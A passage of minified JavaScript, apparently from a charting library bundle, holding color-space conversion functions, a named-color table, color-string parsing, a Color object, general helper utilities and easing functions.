e=t[0],n=t[1],i=t[2];return[a.rgb.hsl(t)[0],1/255*Math.min(e,Math.min(n,i))*100,100*(i=1-1/255*Math.max(e,Math.max(n,i)))]},a.rgb.cmyk=function(t){var e,n=t[0]/255,i=t[1]/255,a=t[2]/255;return[100*((1-n-(e=Math.min(1-n,1-i,1-a)))/(1-e)||0),100*((1-i-e)/(1-e)||0),100*((1-a-e)/(1-e)||0),100*e]},a.rgb.keyword=function(t){var i=n[t];if(i)return i;var a,r,o,s=1/0;for(var l in e)if(e.hasOwnProperty(l)){var u=(r=t,o=e[l],Math.pow(r[0]-o[0],2)+Math.pow(r[1]-o[1],2)+Math.pow(r[2]-o[2],2));u<s&&(s=u,a=l)}return a},a.keyword.rgb=function(t){return e[t]},a.rgb.xyz=function(t){var e=t[0]/255,n=t[1]/255,i=t[2]/255;return[100*(.4124*(e=e>.04045?Math.pow((e+.055)/1.055,2.4):e/12.92)+.3576*(n=n>.04045?Math.pow((n+.055)/1.055,2.4):n/12.92)+.1805*(i=i>.04045?Math.pow((i+.055)/1.055,2.4):i/12.92)),100*(.2126*e+.7152*n+.0722*i),100*(.0193*e+.1192*n+.9505*i)]},a.rgb.lab=function(t){var e=a.rgb.xyz(t),n=e[0],i=e[1],r=e[2];return i/=100,r/=108.883,n=(n/=95.047)>.008856?Math.pow(n,1/3):7.787*n+16/116,[116*(i=i>.008856?Math.pow(i,1/3):7.787*i+16/116)-16,500*(n-i),200*(i-(r=r>.008856?Math.pow(r,1/3):7.787*r+16/116))]},a.hsl.rgb=function(t){var e,n,i,a,r,o=t[0]/360,s=t[1]/100,l=t[2]/100;if(0===s)return[r=255*l,r,r];e=2*l-(n=l<.5?l*(1+s):l+s-l*s),a=[0,0,0];for(var u=0;u<3;u++)(i=o+1/3*-(u-1))<0&&i++,i>1&&i--,r=6*i<1?e+6*(n-e)*i:2*i<1?n:3*i<2?e+(n-e)*(2/3-i)*6:e,a[u]=255*r;return a},a.hsl.hsv=function(t){var e=t[0],n=t[1]/100,i=t[2]/100,a=n,r=Math.max(i,.01);return n*=(i*=2)<=1?i:2-i,a*=r<=1?r:2-r,[e,100*(0===i?2*a/(r+a):2*n/(i+n)),(i+n)/2*100]},a.hsv.rgb=function(t){var e=t[0]/60,n=t[1]/100,i=t[2]/100,a=Math.floor(e)%6,r=e-Math.floor(e),o=255*i*(1-n),s=255*i*(1-n*r),l=255*i*(1-n*(1-r));switch(i*=255,a){case 0:return[i,l,o];case 1:return[s,i,o];case 2:return[o,i,l];case 3:return[o,s,i];case 4:return[l,o,i];case 5:return[i,o,s]}},a.hsv.hsl=function(t){var e,n,i,a=t[0],r=t[1]/100,o=t[2]/100,s=Math.max(o,.01);return i=(2-r)*o,n=r*s,[a,100*(n=(n/=(e=(2-r)*s)<=1?e:2-e)||0),100*(i/=2)]},a.hwb.rgb=function(t){var e,n,i,a,r,o,s,l=t[0]/360,u=t[1]/100,d=t[2]/100,h=u+d;switch(h>1&&(u/=h,d/=h),i=6*l-(e=Math.floor(6*l)),0!=(1&e)&&(i=1-i),a=u+i*((n=1-d)-u),e){default:case 6:case 0:r=n,o=a,s=u;break;case 1:r=a,o=n,s=u;break;case 2:r=u,o=n,s=a;break;case 3:r=u,o=a,s=n;break;case 4:r=a,o=u,s=n;break;case 5:r=n,o=u,s=a}return[255*r,255*o,255*s]},a.cmyk.rgb=function(t){var e=t[0]/100,n=t[1]/100,i=t[2]/100,a=t[3]/100;return[255*(1-Math.min(1,e*(1-a)+a)),255*(1-Math.min(1,n*(1-a)+a)),255*(1-Math.min(1,i*(1-a)+a))]},a.xyz.rgb=function(t){var e,n,i,a=t[0]/100,r=t[1]/100,o=t[2]/100;return n=-.9689*a+1.8758*r+.0415*o,i=.0557*a+-.204*r+1.057*o,e=(e=3.2406*a+-1.5372*r+-.4986*o)>.0031308?1.055*Math.pow(e,1/2.4)-.055:12.92*e,n=n>.0031308?1.055*Math.pow(n,1/2.4)-.055:12.92*n,i=i>.0031308?1.055*Math.pow(i,1/2.4)-.055:12.92*i,[255*(e=Math.min(Math.max(0,e),1)),255*(n=Math.min(Math.max(0,n),1)),255*(i=Math.min(Math.max(0,i),1))]},a.xyz.lab=function(t){var e=t[0],n=t[1],i=t[2];return n/=100,i/=108.883,e=(e/=95.047)>.008856?Math.pow(e,1/3):7.787*e+16/116,[116*(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116)-16,500*(e-n),200*(n-(i=i>.008856?Math.pow(i,1/3):7.787*i+16/116))]},a.lab.xyz=function(t){var e,n,i,a=t[0];e=t[1]/500+(n=(a+16)/116),i=n-t[2]/200;var r=Math.pow(n,3),o=Math.pow(e,3),s=Math.pow(i,3);return n=r>.008856?r:(n-16/116)/7.787,e=o>.008856?o:(e-16/116)/7.787,i=s>.008856?s:(i-16/116)/7.787,[e*=95.047,n*=100,i*=108.883]},a.lab.lch=function(t){var e,n=t[0],i=t[1],a=t[2];return(e=360*Math.atan2(a,i)/2/Math.PI)<0&&(e+=360),[n,Math.sqrt(i*i+a*a),e]},a.lch.lab=function(t){var e,n=t[0],i=t[1];return e=t[2]/360*2*Math.PI,[n,i*Math.cos(e),i*Math.sin(e)]},a.rgb.ansi16=function(t){var e=t[0],n=t[1],i=t[2],r=1 in arguments?arguments[1]:a.rgb.hsv(t)[2];if(0===(r=Math.round(r/50)))return 30;var o=30+(Math.round(i/255)<<2|Math.round(n/255)<<1|Math.round(e/255));return 2===r&&(o+=60),o},a.hsv.ansi16=function(t){return a.rgb.ansi16(a.hsv.rgb(t),t[2])},a.rgb.ansi256=function(t){var e=t[0],n=t[1],i=t[2];return e===n&&n===i?e<8?16:e>248?231:Math.round((e-8)/247*24)+232:16+36*Math.round(e/255*5)+6*Math.round(n/255*5)+Math.round(i/255*5)},a.ansi16.rgb=function(t){var e=t%10;if(0===e||7===e)return t>50&&(e+=3.5),[e=e/10.5*255,e,e];var n=.5*(1+~~(t>50));return[(1&e)*n*255,(e>>1&1)*n*255,(e>>2&1)*n*255]},a.ansi256.rgb=function(t){if(t>=232){var e=10*(t-232)+8;return[e,e,e]}var n;return t-=16,[Math.floor(t/36)/5*255,Math.floor((n=t%36)/6)/5*255,n%6/5*255]},a.rgb.hex=function(t){var e=(((255&Math.round(t[0]))<<16)+((255&Math.round(t[1]))<<8)+(255&Math.round(t[2]))).toString(16).toUpperCase();return"000000".substring(e.length)+e},a.hex.rgb=function(t){var e=t.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!e)return[0,0,0];var n=e[0];3===e[0].length&&(n=n.split("").map((function(t){return t+t})).join(""));var i=parseInt(n,16);return[i>>16&255,i>>8&255,255&i]},a.rgb.hcg=function(t){var e,n=t[0]/255,i=t[1]/255,a=t[2]/255,r=Math.max(Math.max(n,i),a),o=Math.min(Math.min(n,i),a),s=r-o;return e=s<=0?0:r===n?(i-a)/s%6:r===i?2+(a-n)/s:4+(n-i)/s+4,e/=6,[360*(e%=1),100*s,100*(s<1?o/(1-s):0)]},a.hsl.hcg=function(t){var e,n=t[1]/100,i=t[2]/100,a=0;return(e=i<.5?2*n*i:2*n*(1-i))<1&&(a=(i-.5*e)/(1-e)),[t[0],100*e,100*a]},a.hsv.hcg=function(t){var e=t[1]/100,n=t[2]/100,i=e*n,a=0;return i<1&&(a=(n-i)/(1-i)),[t[0],100*i,100*a]},a.hcg.rgb=function(t){var e=t[0]/360,n=t[1]/100,i=t[2]/100;if(0===n)return[255*i,255*i,255*i];var a,r=[0,0,0],o=e%1*6,s=o%1,l=1-s;switch(Math.floor(o)){case 0:r[0]=1,r[1]=s,r[2]=0;break;case 1:r[0]=l,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=s;break;case 3:r[0]=0,r[1]=l,r[2]=1;break;case 4:r[0]=s,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=l}return a=(1-n)*i,[255*(n*r[0]+a),255*(n*r[1]+a),255*(n*r[2]+a)]},a.hcg.hsv=function(t){var e=t[1]/100,n=e+t[2]/100*(1-e),i=0;return n>0&&(i=e/n),[t[0],100*i,100*n]},a.hcg.hsl=function(t){var e=t[1]/100,n=t[2]/100*(1-e)+.5*e,i=0;return n>0&&n<.5?i=e/(2*n):n>=.5&&n<1&&(i=e/(2*(1-n))),[t[0],100*i,100*n]},a.hcg.hwb=function(t){var e=t[1]/100,n=e+t[2]/100*(1-e);return[t[0],100*(n-e),100*(1-n)]},a.hwb.hcg=function(t){var e=t[1]/100,n=1-t[2]/100,i=n-e,a=0;return i<1&&(a=(n-i)/(1-i)),[t[0],100*i,100*a]},a.apple.rgb=function(t){return[t[0]/65535*255,t[1]/65535*255,t[2]/65535*255]},a.rgb.apple=function(t){return[t[0]/255*65535,t[1]/255*65535,t[2]/255*65535]},a.gray.rgb=function(t){return[t[0]/100*255,t[0]/100*255,t[0]/100*255]},a.gray.hsl=a.gray.hsv=function(t){return[0,0,t[0]]},a.gray.hwb=function(t){return[0,100,t[0]]},a.gray.cmyk=function(t){return[0,0,0,t[0]]},a.gray.lab=function(t){return[t[0],0,0]},a.gray.hex=function(t){var e=255&Math.round(t[0]/100*255),n=((e<<16)+(e<<8)+e).toString(16).toUpperCase();return"000000".substring(n.length)+n},a.rgb.gray=function(t){return[(t[0]+t[1]+t[2])/3/255*100]}}));function i(t){var e=function(){for(var t={},e=Object.keys(n),i=e.length,a=0;a<i;a++)t[e[a]]={distance:-1,parent:null};return t}(),i=[t];for(e[t].distance=0;i.length;)for(var a=i.pop(),r=Object.keys(n[a]),o=r.length,s=0;s<o;s++){var l=r[s],u=e[l];-1===u.distance&&(u.distance=e[a].distance+1,u.parent=a,i.unshift(l))}return e}function a(t,e){return function(n){return e(t(n))}}function r(t,e){for(var i=[e[t].parent,t],r=n[e[t].parent][t],o=e[t].parent;e[o].parent;)i.unshift(e[o].parent),r=a(n[e[o].parent][o],r),o=e[o].parent;return r.conversion=i,r}n.rgb,n.hsl,n.hsv,n.hwb,n.cmyk,n.xyz,n.lab,n.lch,n.hex,n.keyword,n.ansi16,n.ansi256,n.hcg,n.apple,n.gray;var o={};Object.keys(n).forEach((function(t){o[t]={},Object.defineProperty(o[t],"channels",{value:n[t].channels}),Object.defineProperty(o[t],"labels",{value:n[t].labels});var e=function(t){for(var e=i(t),n={},a=Object.keys(e),o=a.length,s=0;s<o;s++){var l=a[s];null!==e[l].parent&&(n[l]=r(l,e))}return n}(t);Object.keys(e).forEach((function(n){var i=e[n];o[t][n]=function(t){var e=function(e){if(null==e)return e;arguments.length>1&&(e=Array.prototype.slice.call(arguments));var n=t(e);if("object"==typeof n)for(var i=n.length,a=0;a<i;a++)n[a]=Math.round(n[a]);return n};return"conversion"in t&&(e.conversion=t.conversion),e}(i),o[t][n].raw=function(t){var e=function(e){return null==e?e:(arguments.length>1&&(e=Array.prototype.slice.call(arguments)),t(e))};return"conversion"in t&&(e.conversion=t.conversion),e}(i)}))}));var s=o,l={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},u={getRgba:d,getHsla:h,getRgb:function(t){var e=d(t);return e&&e.slice(0,3)},getHsl:function(t){var e=h(t);return e&&e.slice(0,3)},getHwb:c,getAlpha:function(t){var e=d(t);return e||(e=h(t))||(e=c(t))?e[3]:void 0},hexString:function(t,e){return e=void 0!==e&&3===t.length?e:t[3],"#"+v(t[0])+v(t[1])+v(t[2])+(e>=0&&e<1?v(Math.round(255*e)):"")},rgbString:function(t,e){return e<1||t[3]&&t[3]<1?f(t,e):"rgb("+t[0]+", "+t[1]+", "+t[2]+")"},rgbaString:f,percentString:function(t,e){return e<1||t[3]&&t[3]<1?g(t,e):"rgb("+Math.round(t[0]/255*100)+"%, "+Math.round(t[1]/255*100)+"%, "+Math.round(t[2]/255*100)+"%)"},percentaString:g,hslString:function(t,e){return e<1||t[3]&&t[3]<1?p(t,e):"hsl("+t[0]+", "+t[1]+"%, "+t[2]+"%)"},hslaString:p,hwbString:function(t,e){return void 0===e&&(e=void 0!==t[3]?t[3]:1),"hwb("+t[0]+", "+t[1]+"%, "+t[2]+"%"+(void 0!==e&&1!==e?", "+e:"")+")"},keyword:function(t){return b[t.slice(0,3)]}};function d(t){if(t){var e=[0,0,0],n=1,i=t.match(/^#([a-fA-F0-9]{3,4})$/i),a="";if(i){a=(i=i[1])[3];for(var r=0;r<e.length;r++)e[r]=parseInt(i[r]+i[r],16);a&&(n=Math.round(parseInt(a+a,16)/255*100)/100)}else if(i=t.match(/^#([a-fA-F0-9]{6}([a-fA-F0-9]{2})?)$/i)){for(a=i[2],i=i[1],r=0;r<e.length;r++)e[r]=parseInt(i.slice(2*r,2*r+2),16);a&&(n=Math.round(parseInt(a,16)/255*100)/100)}else if(i=t.match(/^rgba?\(\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(r=0;r<e.length;r++)e[r]=parseInt(i[r+1]);n=parseFloat(i[4])}else if(i=t.match(/^rgba?\(\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(r=0;r<e.length;r++)e[r]=Math.round(2.55*parseFloat(i[r+1]));n=parseFloat(i[4])}else if(i=t.match(/(\w+)/)){if("transparent"==i[1])return[0,0,0,0];if(!(e=l[i[1]]))return}for(r=0;r<e.length;r++)e[r]=m(e[r],0,255);return n=n||0==n?m(n,0,1):1,e[3]=n,e}}function h(t){if(t){var e=t.match(/^hsla?\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(e){var n=parseFloat(e[4]);return[m(parseInt(e[1]),0,360),m(parseFloat(e[2]),0,100),m(parseFloat(e[3]),0,100),m(isNaN(n)?1:n,0,1)]}}}function c(t){if(t){var e=t.match(/^hwb\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(e){var n=parseFloat(e[4]);return[m(parseInt(e[1]),0,360),m(parseFloat(e[2]),0,100),m(parseFloat(e[3]),0,100),m(isNaN(n)?1:n,0,1)]}}}function f(t,e){return void 0===e&&(e=void 0!==t[3]?t[3]:1),"rgba("+t[0]+", "+t[1]+", "+t[2]+", "+e+")"}function g(t,e){return"rgba("+Math.round(t[0]/255*100)+"%, "+Math.round(t[1]/255*100)+"%, "+Math.round(t[2]/255*100)+"%, "+(e||t[3]||1)+")"}function p(t,e){return void 0===e&&(e=void 0!==t[3]?t[3]:1),"hsla("+t[0]+", "+t[1]+"%, "+t[2]+"%, "+e+")"}function m(t,e,n){return Math.min(Math.max(e,t),n)}function v(t){var e=t.toString(16).toUpperCase();return e.length<2?"0"+e:e}var b={};for(var x in l)b[l[x]]=x;var y=function(t){return t instanceof y?t:this instanceof y?(this.valid=!1,this.values={rgb:[0,0,0],hsl:[0,0,0],hsv:[0,0,0],hwb:[0,0,0],cmyk:[0,0,0,0],alpha:1},void("string"==typeof t?(e=u.getRgba(t))?this.setValues("rgb",e):(e=u.getHsla(t))?this.setValues("hsl",e):(e=u.getHwb(t))&&this.setValues("hwb",e):"object"==typeof t&&(void 0!==(e=t).r||void 0!==e.red?this.setValues("rgb",e):void 0!==e.l||void 0!==e.lightness?this.setValues("hsl",e):void 0!==e.v||void 0!==e.value?this.setValues("hsv",e):void 0!==e.w||void 0!==e.whiteness?this.setValues("hwb",e):void 0===e.c&&void 0===e.cyan||this.setValues("cmyk",e)))):new y(t);var e};y.prototype={isValid:function(){return this.valid},rgb:function(){return this.setSpace("rgb",arguments)},hsl:function(){return this.setSpace("hsl",arguments)},hsv:function(){return this.setSpace("hsv",arguments)},hwb:function(){return this.setSpace("hwb",arguments)},cmyk:function(){return this.setSpace("cmyk",arguments)},rgbArray:function(){return this.values.rgb},hslArray:function(){return this.values.hsl},hsvArray:function(){return this.values.hsv},hwbArray:function(){var t=this.values;return 1!==t.alpha?t.hwb.concat([t.alpha]):t.hwb},cmykArray:function(){return this.values.cmyk},rgbaArray:function(){var t=this.values;return t.rgb.concat([t.alpha])},hslaArray:function(){var t=this.values;return t.hsl.concat([t.alpha])},alpha:function(t){return void 0===t?this.values.alpha:(this.setValues("alpha",t),this)},red:function(t){return this.setChannel("rgb",0,t)},green:function(t){return this.setChannel("rgb",1,t)},blue:function(t){return this.setChannel("rgb",2,t)},hue:function(t){return t&&(t=(t%=360)<0?360+t:t),this.setChannel("hsl",0,t)},saturation:function(t){return this.setChannel("hsl",1,t)},lightness:function(t){return this.setChannel("hsl",2,t)},saturationv:function(t){return this.setChannel("hsv",1,t)},whiteness:function(t){return this.setChannel("hwb",1,t)},blackness:function(t){return this.setChannel("hwb",2,t)},value:function(t){return this.setChannel("hsv",2,t)},cyan:function(t){return this.setChannel("cmyk",0,t)},magenta:function(t){return this.setChannel("cmyk",1,t)},yellow:function(t){return this.setChannel("cmyk",2,t)},black:function(t){return this.setChannel("cmyk",3,t)},hexString:function(){return u.hexString(this.values.rgb)},rgbString:function(){return u.rgbString(this.values.rgb,this.values.alpha)},rgbaString:function(){return u.rgbaString(this.values.rgb,this.values.alpha)},percentString:function(){return u.percentString(this.values.rgb,this.values.alpha)},hslString:function(){return u.hslString(this.values.hsl,this.values.alpha)},hslaString:function(){return u.hslaString(this.values.hsl,this.values.alpha)},hwbString:function(){return u.hwbString(this.values.hwb,this.values.alpha)},keyword:function(){return u.keyword(this.values.rgb,this.values.alpha)},rgbNumber:function(){var t=this.values.rgb;return t[0]<<16|t[1]<<8|t[2]},luminosity:function(){for(var t=this.values.rgb,e=[],n=0;n<t.length;n++){var i=t[n]/255;e[n]=i<=.03928?i/12.92:Math.pow((i+.055)/1.055,2.4)}return.2126*e[0]+.7152*e[1]+.0722*e[2]},contrast:function(t){var e=this.luminosity(),n=t.luminosity();return e>n?(e+.05)/(n+.05):(n+.05)/(e+.05)},level:function(t){var e=this.contrast(t);return e>=7.1?"AAA":e>=4.5?"AA":""},dark:function(){var t=this.values.rgb;return(299*t[0]+587*t[1]+114*t[2])/1e3<128},light:function(){return!this.dark()},negate:function(){for(var t=[],e=0;e<3;e++)t[e]=255-this.values.rgb[e];return this.setValues("rgb",t),this},lighten:function(t){var e=this.values.hsl;return e[2]+=e[2]*t,this.setValues("hsl",e),this},darken:function(t){var e=this.values.hsl;return e[2]-=e[2]*t,this.setValues("hsl",e),this},saturate:function(t){var e=this.values.hsl;return e[1]+=e[1]*t,this.setValues("hsl",e),this},desaturate:function(t){var e=this.values.hsl;return e[1]-=e[1]*t,this.setValues("hsl",e),this},whiten:function(t){var e=this.values.hwb;return e[1]+=e[1]*t,this.setValues("hwb",e),this},blacken:function(t){var e=this.values.hwb;return e[2]+=e[2]*t,this.setValues("hwb",e),this},greyscale:function(){var t=this.values.rgb,e=.3*t[0]+.59*t[1]+.11*t[2];return this.setValues("rgb",[e,e,e]),this},clearer:function(t){var e=this.values.alpha;return this.setValues("alpha",e-e*t),this},opaquer:function(t){var e=this.values.alpha;return this.setValues("alpha",e+e*t),this},rotate:function(t){var e=this.values.hsl,n=(e[0]+t)%360;return e[0]=n<0?360+n:n,this.setValues("hsl",e),this},mix:function(t,e){var n=t,i=void 0===e?.5:e,a=2*i-1,r=this.alpha()-n.alpha(),o=((a*r==-1?a:(a+r)/(1+a*r))+1)/2,s=1-o;return this.rgb(o*this.red()+s*n.red(),o*this.green()+s*n.green(),o*this.blue()+s*n.blue()).alpha(this.alpha()*i+n.alpha()*(1-i))},toJSON:function(){return this.rgb()},clone:function(){var t,e,n=new y,i=this.values,a=n.values;for(var r in i)i.hasOwnProperty(r)&&(t=i[r],"[object Array]"===(e={}.toString.call(t))?a[r]=t.slice(0):"[object Number]"===e?a[r]=t:console.error("unexpected color value:",t));return n}},y.prototype.spaces={rgb:["red","green","blue"],hsl:["hue","saturation","lightness"],hsv:["hue","saturation","value"],hwb:["hue","whiteness","blackness"],cmyk:["cyan","magenta","yellow","black"]},y.prototype.maxes={rgb:[255,255,255],hsl:[360,100,100],hsv:[360,100,100],hwb:[360,100,100],cmyk:[100,100,100,100]},y.prototype.getValues=function(t){for(var e=this.values,n={},i=0;i<t.length;i++)n[t.charAt(i)]=e[t][i];return 1!==e.alpha&&(n.a=e.alpha),n},y.prototype.setValues=function(t,e){var n,i,a=this.values,r=this.spaces,o=this.maxes,l=1;if(this.valid=!0,"alpha"===t)l=e;else if(e.length)a[t]=e.slice(0,t.length),l=e[t.length];else if(void 0!==e[t.charAt(0)]){for(n=0;n<t.length;n++)a[t][n]=e[t.charAt(n)];l=e.a}else if(void 0!==e[r[t][0]]){var u=r[t];for(n=0;n<t.length;n++)a[t][n]=e[u[n]];l=e.alpha}if(a.alpha=Math.max(0,Math.min(1,void 0===l?a.alpha:l)),"alpha"===t)return!1;for(n=0;n<t.length;n++)i=Math.max(0,Math.min(o[t][n],a[t][n])),a[t][n]=Math.round(i);for(var d in r)d!==t&&(a[d]=s[t][d](a[t]));return!0},y.prototype.setSpace=function(t,e){var n=e[0];return void 0===n?this.getValues(t):("number"==typeof n&&(n=Array.prototype.slice.call(e)),this.setValues(t,n),this)},y.prototype.setChannel=function(t,e,n){var i=this.values[t];return void 0===n?i[e]:(n===i[e]||(i[e]=n,this.setValues(t,i)),this)},"undefined"!=typeof window&&(window.Color=y);var _=y;function k(t){return-1===["__proto__","prototype","constructor"].indexOf(t)}var w,M={noop:function(){},uid:(w=0,function(){return w++}),isNullOrUndef:function(t){return null==t},isArray:function(t){if(Array.isArray&&Array.isArray(t))return!0;var e=Object.prototype.toString.call(t);return"[object"===e.substr(0,7)&&"Array]"===e.substr(-6)},isObject:function(t){return null!==t&&"[object Object]"===Object.prototype.toString.call(t)},isFinite:function(t){return("number"==typeof t||t instanceof Number)&&isFinite(t)},valueOrDefault:function(t,e){return void 0===t?e:t},valueAtIndexOrDefault:function(t,e,n){return M.valueOrDefault(M.isArray(t)?t[e]:t,n)},callback:function(t,e,n){if(t&&"function"==typeof t.call)return t.apply(n,e)},each:function(t,e,n,i){var a,r,o;if(M.isArray(t))if(r=t.length,i)for(a=r-1;a>=0;a--)e.call(n,t[a],a);else for(a=0;a<r;a++)e.call(n,t[a],a);else if(M.isObject(t))for(r=(o=Object.keys(t)).length,a=0;a<r;a++)e.call(n,t[o[a]],o[a])},arrayEquals:function(t,e){var n,i,a,r;if(!t||!e||t.length!==e.length)return!1;for(n=0,i=t.length;n<i;++n)if(a=t[n],r=e[n],a instanceof Array&&r instanceof Array){if(!M.arrayEquals(a,r))return!1}else if(a!==r)return!1;return!0},clone:function(t){if(M.isArray(t))return t.map(M.clone);if(M.isObject(t)){for(var e=Object.create(t),n=Object.keys(t),i=n.length,a=0;a<i;++a)e[n[a]]=M.clone(t[n[a]]);return e}return t},_merger:function(t,e,n,i){if(k(t)){var a=e[t],r=n[t];M.isObject(a)&&M.isObject(r)?M.merge(a,r,i):e[t]=M.clone(r)}},_mergerIf:function(t,e,n){if(k(t)){var i=e[t],a=n[t];M.isObject(i)&&M.isObject(a)?M.mergeIf(i,a):e.hasOwnProperty(t)||(e[t]=M.clone(a))}},merge:function(t,e,n){var i,a,r,o,s,l=M.isArray(e)?e:[e],u=l.length;if(!M.isObject(t))return t;for(i=(n=n||{}).merger||M._merger,a=0;a<u;++a)if(e=l[a],M.isObject(e))for(s=0,o=(r=Object.keys(e)).length;s<o;++s)i(r[s],t,e,n);return t},mergeIf:function(t,e){return M.merge(t,e,{merger:M._mergerIf})},extend:Object.assign||function(t){return M.merge(t,[].slice.call(arguments,1),{merger:function(t,e,n){e[t]=n[t]}})},inherits:function(t){var e=this,n=t&&t.hasOwnProperty("constructor")?t.constructor:function(){return e.apply(this,arguments)},i=function(){this.constructor=n};return i.prototype=e.prototype,n.prototype=new i,n.extend=M.inherits,t&&M.extend(n.prototype,t),n.__super__=e.prototype,n},_deprecated:function(t,e,n,i){void 0!==e&&console.warn(t+': "'+n+'" is deprecated. Please use "'+i+'" instead')}},S=M;M.callCallback=M.callback,M.indexOf=function(t,e,n){return Array.prototype.indexOf.call(t,e,n)},M.getValueOrDefault=M.valueOrDefault,M.getValueAtIndexOrDefault=M.valueAtIndexOrDefault;var C={linear:function(t){return t},easeInQuad:function(t){return t*t},easeOutQuad:function(t){return-t*(t-2)},easeInOutQuad:function(t){return(t/=.5)<1?.5*t*t:-.5*(--t*(t-2)-1)},easeInCubic:function(t){return t*t*t},easeOutCubic:function(t){return(t-=1)*t*t+1},easeInOutCubic:function(t){return(t/=.5)<1?.5*t*t*t:.5*((t-=2)*t*t+2)},easeInQuart:function(t){return t*t*t*t},easeOutQuart:function(t){return-((t-=1)*t*t*t-1)},easeInOutQuart:function(t){return(t/=.5)<1?.5*t*t*t*t:-.5*((t-=2)*t*t*t-2)},easeInQuint:function(t){return t*t*t*t*t},easeOutQuint:function(t){return(t-=1)*t*t*t*t+1},easeInOutQuint:function(t){return(t/=.5)<1?.5*t*t*t*t*t:.5*((t-=2)*t*t*t*t+2)},easeInSine:function(t){return 1-Math.cos(t*(Math.PI/2))},easeOutSine:function(t){return Math.sin(t*(Math.PI/2))},easeInOutSine:function(t){return-.5*(Math.cos(Math.PI*t)-1)},easeInExpo:function(t){return 0===t?0:Math.pow(2,10*(t-1))},easeOutExpo:function(t){return 1===t?1:1-Math.pow(2,-10*t)},easeInOutExpo:function(t){return 0===t?0:1===t?1:(t/=.5)<1?.5*Math.pow(2,10*(t-1)):.5*(2-Math.pow(2,-10*--t))},easeInCirc:function(t){return t>=1?t:-(Math.sqrt(1-t*t)-1)},easeOutCirc:function(t){return Math.sqrt(1-(t-=1)*t)},easeInOutCirc:function(t){return(t/=.5)<1?-.5*(Math.sqrt(1-t*t)-1):.5*(Math.sqrt(1-(t-=2)*t)+1)},easeInElastic:function(t){var e=1.70158,n=0,i=1;return 